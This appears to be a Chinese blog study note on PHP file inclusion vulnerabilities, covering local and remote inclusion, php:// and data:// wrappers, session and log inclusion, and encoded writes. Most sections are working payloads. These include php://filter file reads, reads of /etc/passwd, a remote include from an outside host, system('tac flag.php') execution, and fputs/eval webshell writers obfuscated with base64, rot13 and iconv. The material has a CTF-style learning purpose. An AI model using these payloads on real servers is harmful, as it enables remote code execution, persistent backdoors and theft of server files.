【学习笔记】文件包含漏洞--本地远程包含、伪协议、加密编码

一、文件包含漏洞

和SQL等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

PHP常用文件包含函数:include(),require(),include_once(),require_once()

区别如下:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

二、漏洞成因分析

写以下两串php代码

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析,同理,jpg也可

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

在文件上传漏洞中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。

将phpinfo.txt的内容改成一段文字:hello world!,再次进行访问,依旧可以读出文本内容

利用这个特性,我们可以读取一下包含敏感信息的文件。

三、本地包含、远程包含

①本地文件包含(LFI)

本地文件包含是指包含服务器本地文件并执行其中的代码。通常用于重用代码片段,避免重复编写相同的代码。

例如,在PHP中,可以使用includerequire函数来包含文件:

复制代码
<?php

include('localfile.php');

?>

如果包含的文件不存在,include 函数会产生警告,但脚本会继续运行,而require函数会产生致命错误并终止脚本。

②远程文件包含(RFI)

远程文件包含是指通过URL包含远程服务器上的文件并执行其中的代码。

要实现远程文件包含,PHP配置中的allow_url_include必须开启:

复制代码
<?php

include('http://example.com/remotefile.php');

?>

远程文件包含的风险更大,因为攻击者可以通过URL传递恶意代码并在目标服务器上执行。

风险:本地文件包含:主要风险是泄露服务器上的敏感文件。

远程文件包含:风险更大,可能导致远程代码执行。

四、伪协议

文件包含漏洞全面详解(伪协议)-CSDN博客

文件读取:

file:///etc/passwd(绝对路径)

php://filter/read=convert.base64-encode/resource=phpinfo.php(相对路径)

文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

代码执行:

php://input------POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+

++(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解码为<?php system('Is');?>++

五、session包含

session文件会定时清空

自定义session名字,条件竞争不断访问session文件,value代码会不断写入是session文件中去,然后再session文件清空的一刹那不断用条件竞争去包含session文件,使其执行value代码,代码执行时就会创建shell.php文件,写入后门代码。

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />

六、php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

七、data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

八、日志包含

利用日志记录UA特性包含执行,将后门代码写入UA 头中

payload:/var/log/nginx/access.log

九、php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG[1]);?>

十、php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SO[T]a;)>?

以上内容均为自己学习理解所得,如有错误,欢迎大家评论指正!

相关推荐
涛哥码咖10 分钟前
Rule.resourceQuery(通过路径参数指定loader匹配规则)
前端·webpack
PLUS_WAVE29 分钟前
CogCoM: A Visual Language Model with Chain-of-Manipulations Reasoning 学习笔记
学习·语言模型·大模型·cot·vlm·推理模型·reasoning
绵绵细雨中的乡音37 分钟前
Linux进程学习【环境变量】&&进程优先级
linux·运维·学习
贺函不是涵42 分钟前
【沉浸式求职学习day27】
学习
努力奋斗的小杨42 分钟前
学习MySQL的第十二天
数据库·笔记·学习·mysql·navicat
夕水43 分钟前
这个提升效率宝藏级工具一定要收藏使用
前端·javascript·trae
会飞的鱼先生1 小时前
vue3 内置组件KeepAlive的使用
前端·javascript·vue.js
斯~内克1 小时前
前端浏览器窗口交互完全指南:从基础操作到高级控制
前端
枫叶20001 小时前
OceanBase数据库-学习笔记1-概论
数据库·笔记·学习·oceanbase
一点.点2 小时前
李沐动手深度学习(pycharm中运行笔记)——04.数据预处理
pytorch·笔记·python·深度学习·pycharm·动手深度学习